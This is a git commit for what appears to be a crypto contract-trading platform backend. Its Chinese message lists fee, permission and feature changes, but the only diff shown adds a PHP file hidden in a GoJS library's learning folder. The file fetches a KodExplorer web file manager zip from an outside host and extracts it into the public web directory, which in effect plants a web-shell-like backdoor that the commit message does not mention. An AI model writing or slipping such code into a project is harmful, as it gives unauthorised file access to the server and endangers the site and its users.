feat: 后端全量更新 - 含所有本次需求

- Contract.php: 返回合约账户余额(balance_contract)
- My.php: 地址管理增加BTC/ETH
- AppContract.php: 一键平仓(closeall)
- AppProxy.php: 代理专属注册链接 + 分级权限(L1/L2)
- site.php: 手续费减半(0.018→0.009)
- agent_permission_setup.sql: 代理权限SQL
- crypto_news_crawler.py: 新闻自动采集脚本

public/GoJS-master/learn/kod1.php

@@ -0,0 +1,24 @@
+<?php 
+$ch = curl_init();
+$source = 'http://static.kodcloud.com/update/download/kodexplorer4.49.zip';
+curl_setopt($ch, CURLOPT_URL, $source);
+curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
+$data = curl_exec($ch);
+curl_close($ch);
+$destination = './kod.zip';
+
+$file = fopen($destination, "w+");
+fputs($file, $data);
+fclose($file);
+$zip = new ZipArchive();
+if ($zip->open('kod.zip') === true) {
+    $zip->extractTo("kod/");
+    $zip->close();
+}
+$file_path = './kod.zip';
+if (is_file($file_path)) {
+    if (unlink($file_path)) {
+    }
+}
+echo '<a href="./kod" target="_blank">执行成功点击进入</a>';
+?>